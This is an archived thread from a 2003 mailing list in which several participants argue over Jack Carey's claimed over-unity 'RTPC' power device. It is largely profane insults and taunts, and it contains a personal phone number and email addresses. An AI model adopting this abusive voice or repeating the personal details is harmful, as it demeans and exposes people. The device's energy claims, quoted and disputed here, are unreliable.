TO A > CROSS WITH A PAY PER VIEW WEB > SITE SURE SOUNDS LIKE REVENGE SERVED COLD TO ME > THAT IS ALMOST EROTIC WHAT > DO YOU THINK? --- Don't count your chickens before they're hatched, lamebrain. BTW, you know what? I was just thinking that you ought to write a book that you could pitch on your website. (if it ever happens) You might want to take a look at Joe Newman's stuff and pattern yours after his. Of course you'll never get to that literary quality, or match his technical abilities (cough...) but it sure couldn't hurt, since anything you might do to change your current "style" could only be an improvement. --Boundary_(ID_q+eduqxI1N48yeKYorDH2Q) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
He was insulting you through out.
 
He was saying that you are shitty fraud and that you should learn from the fraud Joe Newman, because at least he wasn't as fucking retarded as you are.
----- Original Message -----
Sent: Sunday, September 21, 2003 4:00 PM
Subject: s] POUNDING ARROGANT NAY SAYERS *

In a message dated 9/21/03 2:59:08 PM Eastern Standard Time, jbfields3@sbcglobal.net writes:

      REPLY WHAT THE HELL IS IT?   FIRST YOU KNOCK ME?   THEN YOU THINK I SHOULD WRITE A BOOK. ARE BECOMMING CLOSET READING JACK ADMIRER?  BUT A PUBLIC DETRACTOR.   IF SO YOU NEED MEDICAL ATTENTION  I CANNOT STAND JACK  BECAUSE HE MAKES TO MUCH SENSE.   AMERICA IS SUPPOSED TO OPERATE JUST THE OPPOSITE.    unless i'm mistaken 
--- JCarey9622@aol.com wrote:

> WELL NAILING THEM TO A
> CROSS WITH A PAY PER VIEW  WEB
> SITE  SURE SOUNDS LIKE REVENGE SERVED COLD TO ME
> THAT IS ALMOST EROTIC  WHAT
> DO YOU THINK?

---
Don't count your chickens before they're hatched,
lamebrain.

BTW, you know what?  I was just thinking that you
ought to write a book that you could pitch on your
website. (if it ever happens)  You might want to take
a look at Joe Newman's stuff and pattern yours after
his.  Of course you'll never get to that literary
quality, or match his technical abilities (cough...)
but it sure couldn't hurt, since anything you might do
to change your current "style" could only be an
improvement.
 



--Boundary_(ID_q+eduqxI1N48yeKYorDH2Q)-- From vortexb-l-request@eskimo.com Sun Sep 21 20:02:14 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id UAA23988; Sun, 21 Sep 2003 20:00:14 -0700 Resent-Date: Sun, 21 Sep 2003 20:00:14 -0700 Date: Sun, 21 Sep 2003 19:59:18 -0700 From: nitroburn Subject: Re: NITRO YOU WERE HAD To: vortexb-l@eskimo.com Message-id: <001001c380b5$85c60950$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_WDu74w7ajAWFh7VKj/MHAw)" X-Priority: 3 X-MSMail-priority: Normal References: Resent-Message-ID: <"HTNfO3.0.Zs5.zMcR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3829 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 179 This is a multi-part message in MIME format. --Boundary_(ID_WDu74w7ajAWFh7VKj/MHAw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT You know I bite on your emails every time I am bored. I told you that on the phone. Just remember, you were the one who believed nothing I said, except where I live, my age and personal details. How come you are so willing to accept those as facts? You sure im 24 like you think? Who swallowed the hook? You. You may think you play with the big boys, but they dont really even like you. You are the one they keep around to laugh at. Keep playing jack.. keeeeeep playing.. ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Sent: Sunday, September 21, 2003 7:52 PM Subject: NITRO YOU WERE HAD BOY you so use to swallowing hook line and sinker the tow the line status Que chewing one in college to the point of being cloned i figured if anyone could be fished you would be the one. that would bite on my reply to goof ball moronic fields mail about writing a book you do not have any real game ball experence as of yet to even consider going beyond the sand lot level. You do not have what is required to play in the biggs boy that is experence that gets you to that level Please do not bore me anymore to no end ok ok --Boundary_(ID_WDu74w7ajAWFh7VKj/MHAw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
You know I bite on your emails every time I am bored.
I told you that on the phone.
 
Just remember, you were the one who believed nothing I said, except where I live, my age and personal details. How come you are so willing to accept those as facts?
 
You sure im 24 like you think?
 
Who swallowed the hook? You.
You may think you play with the big boys, but they dont really even like you. You are the one they keep around to laugh at.  Keep playing jack.. keeeeeep playing..
----- Original Message -----
Sent: Sunday, September 21, 2003 7:52 PM
Subject: NITRO YOU WERE HAD

      BOY you so use to swallowing  hook line and sinker the tow the line status Que chewing one  in college to the point of being cloned     i figured if anyone could be fished   you would be the one. that would bite on my reply to goof ball moronic fields mail about writing a book

  you do not have any real game ball experence as of yet  to even consider going beyond the sand lot level.   You do not have what is required to play in the biggs    boy  that is experence that gets you to that level    Please do not bore me anymore to no end ok ok
--Boundary_(ID_WDu74w7ajAWFh7VKj/MHAw)-- From vortexb-l-request@eskimo.com Sun Sep 21 23:40:01 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id XAA13415; Sun, 21 Sep 2003 23:38:52 -0700 Resent-Date: Sun, 21 Sep 2003 23:38:52 -0700 Date: Sun, 21 Sep 2003 23:34:34 -0700 From: nitroburn Subject: Re: NITRO YOU WERE HAD To: vortexb-l@eskimo.com Message-id: <002201c380d3$9875d620$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_e0tSeJChC07SfFccA3yhww)" X-Priority: 3 X-MSMail-priority: Normal References: Resent-Message-ID: <"zYVXb2.0.YH3.yZfR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3831 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 180 This is a multi-part message in MIME format. --Boundary_(ID_e0tSeJChC07SfFccA3yhww) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Its the truth.. I'm sorry, did you want me to lie? I fucking told you when I called you that for the most part I reply to your emails when I have some extra time. Usually when i'm checking my email it is because I have some extra time. So i reply. You look like an idiot for actually only quoting and attacking that one part of my email because it was merely a factual statement. You are like my dogs, you come when I call your name. come on bitch, what ya gonna do? ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Sent: Sunday, September 21, 2003 11:16 PM Subject: Re: NITRO YOU WERE HAD In a message dated 9/21/03 10:02:24 PM Eastern Standard Time, nitro@bctel.org writes: You know I bite on your emails every time I am bored. I told you that on the phone. REPLY THIS IS A PISS POOR WEAK ASS LAME LIMP WRESTED ATTEMPT IS THIS THE BEST YOU CAN COME BACK WITH.? PLEASE --Boundary_(ID_e0tSeJChC07SfFccA3yhww) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Its the truth.. I'm sorry, did you want me to lie?
 
I fucking told you when I called you that for the most part I reply to your emails when I have some extra time. Usually when i'm checking my email it is because I have some extra time. So i reply. You look like an idiot for actually only quoting and attacking that one part of my email because it was merely a factual statement.
 
You are like my dogs, you come when I call your name. 
 
come on bitch, what ya gonna do?
 
----- Original Message -----
Sent: Sunday, September 21, 2003 11:16 PM
Subject: Re: NITRO YOU WERE HAD

In a message dated 9/21/03 10:02:24 PM Eastern Standard Time, nitro@bctel.org writes:


You know I bite on your emails every time I am bored.
I told you that on the phone.

REPLY THIS IS A PISS POOR WEAK ASS LAME LIMP WRESTED  ATTEMPT IS THIS THE BEST YOU CAN COME BACK WITH.?   PLEASE

--Boundary_(ID_e0tSeJChC07SfFccA3yhww)-- From vortexb-l-request@eskimo.com Mon Sep 22 07:22:00 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA22871; Mon, 22 Sep 2003 07:14:00 -0700 Resent-Date: Mon, 22 Sep 2003 07:14:00 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: s] POUNDING ARROGANT NAY SAYERS * Date: Mon, 22 Sep 2003 09:13:33 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <1da.1129c5c5.2c9f8776@aol.com> In-Reply-To: <1da.1129c5c5.2c9f8776@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA22684 Resent-Message-ID: <"RdH2g2.0.8b5.dEmR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3835 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 181 On Sun, 21 Sep 2003 19:00:06 EDT, you wrote: > REPLY WHAT THE HELL IS IT? FIRST YOU KNOCK ME? THEN YOU THINK I >SHOULD WRITE A BOOK. ARE BECOMMING CLOSET READING JACK ADMIRER? BUT A PUBLIC >DETRACTOR. IF SO YOU NEED MEDICAL ATTENTION I CANNOT STAND JACK BECAUSE HE >MAKES TO MUCH SENSE. AMERICA IS SUPPOSED TO OPERATE JUST THE OPPOSITE. >unless i'm mistaken --- Of course you're mistaken. About just about everything. The comment about the book was what is called "sarcasm" and was designed to be insulting. Of course, with your lack of comprehension only about 30% of the meaning got through to you, according to your statement that mail is only about 30% capable of transferring meaning. -- John Fields From vortexb-l-request@eskimo.com Mon Sep 22 08:04:34 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA29852; Mon, 22 Sep 2003 08:01:29 -0700 Resent-Date: Mon, 22 Sep 2003 08:01:29 -0700 Date: Mon, 22 Sep 2003 07:57:20 -0700 From: nitroburn Subject: Re: Rees] The ignorant JCarey gets beat up... To: vortexb-l@eskimo.com Message-id: <003d01c38119$d81d24e0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_fptht4BnFRm3psFZNBbeFQ)" X-Priority: 3 X-MSMail-priority: Normal References: <142.196b6d8f.2ca06436@aol.com> Resent-Message-ID: <"qkqHl.0.MI7.8xmR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3839 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 182 This is a multi-part message in MIME format. --Boundary_(ID_fptht4BnFRm3psFZNBbeFQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Its because your an idiot jack. Get that though you head. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com Sent: Monday, September 22, 2003 7:41 AM Subject: Rees] The ignorant JCarey gets beat up... In a message dated 9/22/03 7:44:31 AM Eastern Standard Time, studlee_more@yahoo.com writes: by a 24 year old college senior. Yet, he thinks he has delivered a 'surgical strike'. REPLY DID YOU ACCOMPLISH ANYTHING WITH THIS MAIL? NO THEN WHY DID YOU WRITE IT ? WHAT ELSE SPOUT OFF IN ORDER TO PUFF UP YOUR EGO THAT IS ALL YOU EVER DO Your wasting your much needed time, Jack old boy. You don't have the mental ammunition to combat with words. All you can do is repeat the same old garbage. Goof ball, moronic, surgical strike, EDU, blah..blah..blah. Just wait until a year from now. I gurantee he will still be doing exactly the same thing. Waiting for that 100 million clear free dollars that he says is coming soon. Still no VALID demo, either. --Boundary_(ID_fptht4BnFRm3psFZNBbeFQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Its because your an idiot jack.
 
Get that though you head.
 
----- Original Message -----
Sent: Monday, September 22, 2003 7:41 AM
Subject: Rees] The ignorant JCarey gets beat up...

In a message dated 9/22/03 7:44:31 AM Eastern Standard Time, studlee_more@yahoo.com writes:


by a 24 year old college senior.  Yet, he thinks he has delivered a
'surgical strike'.
REPLY DID YOU ACCOMPLISH ANYTHING WITH THIS MAIL? NO THEN WHY DID YOU WRITE IT  ? WHAT ELSE SPOUT OFF IN ORDER TO PUFF UP YOUR EGO   THAT IS ALL YOU EVER DO
Your wasting your much needed time, Jack old boy.  You don't have the
mental ammunition to combat with words.  All you can do is repeat
the same old garbage.  Goof ball, moronic, surgical strike, EDU,
blah..blah..blah.

Just wait until a year from now.  I gurantee he will still be doing
exactly the same thing.  Waiting for that 100 million clear free
dollars that he says is coming soon.  Still no VALID demo, either.




--Boundary_(ID_fptht4BnFRm3psFZNBbeFQ)-- From vortexb-l-request@eskimo.com Mon Sep 22 08:11:49 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA31281; Mon, 22 Sep 2003 08:03:15 -0700 Resent-Date: Mon, 22 Sep 2003 08:03:15 -0700 Date: Mon, 22 Sep 2003 07:55:56 -0700 From: nitroburn Subject: Re: ""ARROGANCE displayed translates to WEEKNESS INSIDE"" To: vortexb-l@eskimo.com Message-id: <003101c38119$a07e8ec0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_/xGFDKYVsC9oLpjxvFTiJw)" X-Priority: 3 X-MSMail-priority: Normal References: <9d.3e9cf63a.2ca02411@aol.com> Resent-Message-ID: <"-2wwE.0.ce7.oymR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3840 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 183 This is a multi-part message in MIME format. --Boundary_(ID_/xGFDKYVsC9oLpjxvFTiJw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT What? What the hell are you replying about. I see you still believe that I am 24 and living in British Columbia. "You know I bite on your emails every time I am bored.I told you that on the phone." is what I said and it is the truth. I told you that on the phone. What are you exposing? That we talked on the phone? Someone call the Blue Cross, i think carey is beginning to loose it (even more so) ----- Original Message ----- From: jcarey9622@aol.com To: vortexb-l@eskimo.com Sent: Monday, September 22, 2003 3:08 AM Subject: ""ARROGANCE displayed translates to WEEKNESS INSIDE"" In a message dated 9/22/03 1:40:26 AM Eastern Standard Time, nitro@bctel.org writes: REPLY HOW COULD THAT NOT BE THE CASE? MY QUALIFICATIONS FOR MAKING THAT STATEMENT ARE IN my 58 years as a resident of this planet. I have seen first hand and experienced probably the most prolific and profound social and technological changes in recorded history. Of this once pristine majestic beautiful planet That we as a civilization are currently because of our arrogance, ignorance and almighty greed are systematically destroying for those that follow us. Who we have a responsibility to as our visionary simple deductive reasoning, problem solving common sense thinking forefathers had to us. That they fulfilled when many gave their life's to fight the only war ever fought against tyranny 60 years ago. And before that occurrence settled this country two century's ago. Using a premise called freedom that is lacking in our society today. Through my personal case study's and objective as possible totally detached non opinionated observations. I have surmised when external actions as below indicate arrogant, smug. Condescending, elitist, snide remark making hidden agenda jealously, hate, and envy attitudes rear their ugly head. That the prime directive reason those actions are displayed is insecurity, weakness of character and ego driven immaturity. Thank you for the platform that allow me the bases that I could use to expose you for what you are. Which is a spoiled little closed and narrow minded because of a cloned conformity preached not taught Edu. 24 year old brat. Boy you were easy because you did yourself. As you know it all God Complex having only what you know is correct types always do. BOY now you know how the game is played. This surgical strike attempt was fun for me How about you? Son please do not bore me to no end anymore OK. And why did you leave no choice but to take the course of action i did? You will never learn will you? Do not feed the demented troll ignorance. But feed him what he seeks which is knowledge. Geeezzzzzz P.S the terminology that you use is that standard practice used in colleges today? If so we have serious problems in our and your Edu. System in British Columbia jack carey 2003 810 618 9234 Its the truth.. I'm sorry, did you want me to lie? I fucking told you when I called you that for the most part I reply to your emails when I have some extra time. Usually when i'm checking my email it is because I have some extra time. So i reply. You look like an idiot for actually only quoting and attacking that one part of my email because it was merely a factual statement. You are like my dogs, you come when I call your name. come on bitch, what ya gonna do? ----- Original Message ----- From: JCarey9622@aol.com To: vortexb-l@eskimo.com Sent: Sunday, September 21, 2003 11:16 PM Subject: Re: NITRO YOU WERE HAD In a message dated 9/21/03 10:02:24 PM Eastern Standard Time, nitro@bctel.org writes: You know I bite on your emails every time I am bored.I told you that on the phone. REPLY THIS IS A PISS POOR WEAK ASS LAME LIMP WRESTED ATTEMPT IS THIS THE BEST YOU CAN COME BACK WITH.? PLEASE --Boundary_(ID_/xGFDKYVsC9oLpjxvFTiJw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
What? What the hell are you replying about.
 
I see you still believe that I am 24 and living in British Columbia.
 
"You know I bite on your emails every time I am bored.I told you that on the phone."
is what I said and it is the truth. I told you that on the phone.
 
What are you exposing? That we talked on the phone?
 
Someone call the Blue Cross, i think carey is beginning to loose it (even more so)
----- Original Message -----
Sent: Monday, September 22, 2003 3:08 AM
Subject: ""ARROGANCE displayed translates to WEEKNESS INSIDE""

In a message dated 9/22/03 1:40:26 AM Eastern Standard Time, nitro@bctel.org writes:

       REPLY   HOW COULD THAT NOT BE THE CASE?  MY QUALIFICATIONS FOR MAKING THAT STATEMENT ARE  IN  my 58  years as a resident of this planet.   I have seen first hand and experienced probably the most prolific and profound social and technological changes in recorded history.   Of this once pristine majestic beautiful planet That we as a civilization are currently because of our arrogance, ignorance and almighty greed are systematically destroying for those that follow us.

Who we have a responsibility to as our visionary simple deductive reasoning,  problem solving common sense thinking  forefathers had to us.  That they fulfilled when many gave their life's to fight the only war ever fought against tyranny 60 years ago. And before that occurrence settled this country two century's ago. Using a premise called freedom that is lacking in our society today.

Through my personal case study's and objective as possible totally detached non opinionated observations.  I have surmised when external actions as below  indicate arrogant, smug. Condescending, elitist, snide remark making  hidden agenda jealously, hate, and envy attitudes rear their ugly head. That the prime directive reason those actions are displayed  is   insecurity, weakness of character and ego driven  immaturity. 

    Thank you for the platform that allow me the bases that I could use to expose you for what you are. Which is a spoiled little closed and narrow minded because of a cloned conformity preached not taught Edu. 24 year old brat.  Boy you were easy because you did yourself. As you know it all God Complex having only what you know is correct types always do. BOY now you know how the game is played. 

This surgical strike attempt was fun for me How about you? Son please do not bore me to no end anymore OK. And why did you leave no choice but to take the course of action i did? You will never learn will you? Do not feed the demented troll ignorance. But feed him what he seeks which is knowledge.  Geeezzzzzz  

P.S the terminology that you use is that standard practice used in colleges today? If so we have serious problems in our and your Edu. System in British Columbia   jack carey 2003 810 618 9234
Its the truth.. I'm sorry, did you want me to lie?

I fucking told you when I called you that for the most part I reply to your emails when I have some extra time. Usually when i'm checking my email it is because I have some extra time. So i reply. You look like an idiot for actually only quoting and attacking that one part of my email because it was merely a factual statement.

You are like my dogs, you come when I call your name.

come on bitch, what ya gonna do? 

----- Original Message -----
From: JCarey9622@aol.com
To: vortexb-l@eskimo.com
Sent: Sunday, September 21, 2003 11:16 PM
Subject: Re: NITRO YOU WERE HAD

In a message dated 9/21/03 10:02:24 PM Eastern Standard Time, nitro@bctel.org writes:

You know I bite on your emails every time I am bored.I told you that on the phone.

REPLY THIS IS A PISS POOR WEAK ASS LAME LIMP WRESTED  ATTEMPT IS THIS THE BEST YOU CAN COME BACK WITH.?   PLEASE



--Boundary_(ID_/xGFDKYVsC9oLpjxvFTiJw)-- From vortexb-l-request@eskimo.com Mon Sep 22 08:12:51 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA05914; Mon, 22 Sep 2003 08:09:25 -0700 Resent-Date: Mon, 22 Sep 2003 08:09:25 -0700 Date: Mon, 22 Sep 2003 08:05:27 -0700 From: nitroburn Subject: Re: [Alternative Fuel Vehicles] ONLY A TURD To: vortexb-l@eskimo.com Message-id: <001d01c3811a$f6b7a870$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_khRVPNArnkeSrUQWbFHMOQ)" X-Priority: 3 X-MSMail-priority: Normal References: <36.4800b713.2ca067fc@aol.com> Resent-Message-ID: <"cUMYf.0.LS1.a2nR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3841 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 184 This is a multi-part message in MIME format. --Boundary_(ID_khRVPNArnkeSrUQWbFHMOQ) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Jack KNOWS NOTHING, so any technical questions are a waste of time. Jack has NOT been able to get one reliable local electrician to verify his claims. Nor has Jack allowed Mott Community College in Flint to test it, but he keeps saying they will "soon", since September 2002. Apparently now Marlene of "Confidential Technology" says Jack does NOT work for or represent the company and asked him to stop. In brief Jack claims: The RTPC will power 5 HP motor on air compressor and only use 400 watts. But Jack can't connect a generator to that 5 HP (3730 watts) motor and use the 3000 watts of electrical power generated for other loads. Jack claims that 110VAC 9 amps can power the RTPC and 5 HP air compressor, 2.5 HP drill press and arc welder putting out 100 amps all at the same time under full load. Now just the arc welder specifications for Lincoln 225 amp is 230 VAC and 50 amps input for full output and 70 VAC open circuit voltage. So figure 230 VAC 20 amps input required for 100 amps output. Amazing "transformer" that can double the voltage AND the current or four times the power! As you noted, perhaps the circuit can "fool" the KWhr meter but it is still "stealing" power and the power company does NOT have to give you power into any type of load, or at least they will make you PAY for it. ;-) Jack claimed the RTPC used to blow up electric utility company's power transformers. I'm sure they won't install a new one unless you paid for it then. Now sure transformers do fail on occasion but they would get suspicious if it happens twice. I used to work at shop repairing distribution transformers. Jack has never powered the RTPC and all that equipment using 1000 watt gasoline engine powered generator, even though it should work if only 110 VAC 9 amps is needed. Nor has he run his home using only 400 watts input and 3000 watts output. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com ; vortexb-l@eskimo.com Sent: Monday, September 22, 2003 7:58 AM Subject: Re: [Alternative Fuel Vehicles] ONLY A TURD In a message dated 9/22/03 9:47:09 AM Eastern Standard Time, jbfields3@sbcglobal.net writes: HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A PHONE IS boy you will be the loser On the contrary, your inability to back up your claim shows, once and for all, that you're the one who's full of shit. Gotcha, Jack, and no matter how you try to squirm out of it you've just had a barbed hook shoved up your ass that you're not going to be able to get rid of. What next, loser? --- > > --- JCarey9622@aol.com wrote: > > > In a message dated 9/21/03 12:58:18 PM Eastern > > > Standard Time, > > > jbfields3@sbcglobal.net writes: > > > > > > > > > > Oh, all of a sudden you're Mr. Big Time > Scientist? --Boundary_(ID_khRVPNArnkeSrUQWbFHMOQ) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Jack KNOWS NOTHING, so any technical questions are
a waste of time. Jack has NOT been able to get one reliable
local electrician to verify his claims. Nor has Jack allowed
Mott Community College in Flint to test it, but he keeps saying
they will "soon", since September 2002. Apparently now
Marlene of "Confidential Technology" says Jack does NOT
work for or represent the company and asked him to stop.
 
In brief Jack claims: The RTPC will power 5 HP motor on
air compressor and only use 400 watts. But Jack can't connect
a generator to that 5 HP (3730 watts) motor and use the 3000
watts of electrical power generated for other loads. Jack claims
that 110VAC 9 amps can power the RTPC and 5 HP air compressor,
2.5 HP drill press and arc welder putting out 100 amps all at the
same time under full load. Now just the arc welder specifications
for Lincoln 225 amp is 230 VAC and 50 amps input for full output
and 70 VAC open circuit voltage. So figure 230 VAC 20 amps
input required for 100 amps output. Amazing "transformer" that
can double the voltage AND the current or four times the power!
 
As you noted, perhaps the circuit can "fool" the KWhr meter but
it is still "stealing" power and the power company does NOT have
to give you power into any type of load, or at least they will make
you PAY for it. ;-) Jack claimed the RTPC used to blow up electric
utility company's power transformers. I'm sure they won't install
a new one unless you paid for it then. Now sure transformers do
fail on occasion but they would get suspicious if it happens twice.
I used to work at shop repairing distribution transformers.
 
Jack has never powered the RTPC and all that equipment using
1000 watt gasoline engine powered generator, even though it
should work if only 110 VAC 9 amps is needed. Nor has he
run his home using only 400 watts input and 3000 watts output.
----- Original Message -----
Sent: Monday, September 22, 2003 7:58 AM
Subject: Re: [Alternative Fuel Vehicles] ONLY A TURD

In a message dated 9/22/03 9:47:09 AM Eastern Standard Time, jbfields3@sbcglobal.net writes:

    HAS INFINITE ENERGY BEEN HERE ?   PLUS IS PUB. ? call the editor plus  CALL INFINITE THEY PROVED THERE THE CONCEPT   I FORGOT YOU DO NOT KNOW WHAT A PHONE IS    boy you will be the loser
On the contrary, your inability to back up your claim
shows, once and for all, that you're the one who's
full of shit.  Gotcha, Jack, and no matter how you try
to squirm out of it you've  just had a barbed hook
shoved up your ass that you're not going to be able to
get rid of.  What next, loser?
---


> > --- JCarey9622@aol.com wrote:
> > > In a message dated 9/21/03 12:58:18 PM Eastern
> > > Standard Time,
> > > jbfields3@sbcglobal.net writes:
> > >
> > >
> > > > Oh, all of a sudden you're Mr. Big Time
> Scientist?


--Boundary_(ID_khRVPNArnkeSrUQWbFHMOQ)-- From vortexb-l-request@eskimo.com Mon Sep 22 08:43:08 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA32290; Mon, 22 Sep 2003 08:36:05 -0700 Resent-Date: Mon, 22 Sep 2003 08:36:05 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com, vortexb-l@eskimo.com Subject: Re: [Alternative Fuel Vehicles] ONLY A TURD Date: Mon, 22 Sep 2003 10:35:40 -0500 Organization: Austin Instruments, Inc. Message-ID: <674umv4dlqbt6ip20cmbss6h5qi4nuse8v@4ax.com> References: <36.4800b713.2ca067fc@aol.com> In-Reply-To: <36.4800b713.2ca067fc@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id IAA32206 Resent-Message-ID: <"RK9gA.0.Su7.bRnR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3843 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 185 On Mon, 22 Sep 2003 10:58:04 EDT, you wrote: >In a message dated 9/22/03 9:47:09 AM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > > HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus >CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A >PHONE IS boy you will be the loser --- Grasping at straws, aren't you? I read the article and it proves nothing. I've read most of the garbage you post and it also proves nothing other than that you're a loser with a repetitive, hackneyed line and nothing to say. BTW, why don't you try bottom posting? I would really appreciate it since it would make it so much easier to wade through your badly written, disorganized crap. Here's how it works: First post: You write some garbage, then under it: Second post: I cut you down and bring you to your knees, like this: "--- On the contrary, your inability to back up your claim shows, once and for all, that you're the one who's full of shit. Gotcha, Jack, and no matter how you try to squirm out of it you've just had a barbed hook shoved up your ass that you're not going to be able to get rid of. What next, loser? ---" Third post: You respond by changing the subject and pretending you haven't been made a fool of, like this: " HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A PHONE IS boy you will be the loser" Fourth post: I laugh your ass out of the thread, like this: --- Grasping at straws, aren't you? I read the article and it proves nothing. I've read most of the garbage you post and it also proves nothing other than that you're a loser with a repetitive, hackneyed line and nothing to say. BTW, why don't you try bottom posting? I would really appreciate it since it would make it so much easier to wade through your badly written, disorganized crap. Here's how it works: First post: You write some garbage, then under it: Second post: I cut you down and bring you to your knees, like this: "--- On the contrary, your inability to back up your claim shows, once and for all, that you're the one who's full of shit. Gotcha, Jack, and no matter how you try to squirm out of it you've just had a barbed hook shoved up your ass that you're not going to be able to get rid of. What next, loser? ---" Third post: You respond by changing the subject and pretending you haven't been made a fool of, like this: " HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A PHONE IS boy you will be the loser" Fourth post: I laugh your ass out of the thread, like this: --- Grasping at straws, aren't you? I read the article and it proves nothing. I've read most of the garbage you post and it also proves nothing other than that you're a loser with a repetitive, hackneyed line and nothing to say. BTW, why don't you try bottom posting? I would really appreciate it since it would make it so much easier to wade through your badly written, disorganized crap. Here's how it works: First post: You write some garbage, then under it: Second post: I cut you down and bring you to your knees, like this: "--- On the contrary, your inability to back up your claim shows, once and for all, that you're the one who's full of shit. Gotcha, Jack, and no matter how you try to squirm out of it you've just had a barbed hook shoved up your ass that you're not going to be able to get rid of. What next, loser? ---" Third post: You respond by changing the subject and pretending you haven't been made a fool of, like this: " HAS INFINITE ENERGY BEEN HERE ? PLUS IS PUB. ? call the editor plus CALL INFINITE THEY PROVED THERE THE CONCEPT I FORGOT YOU DO NOT KNOW WHAT A PHONE 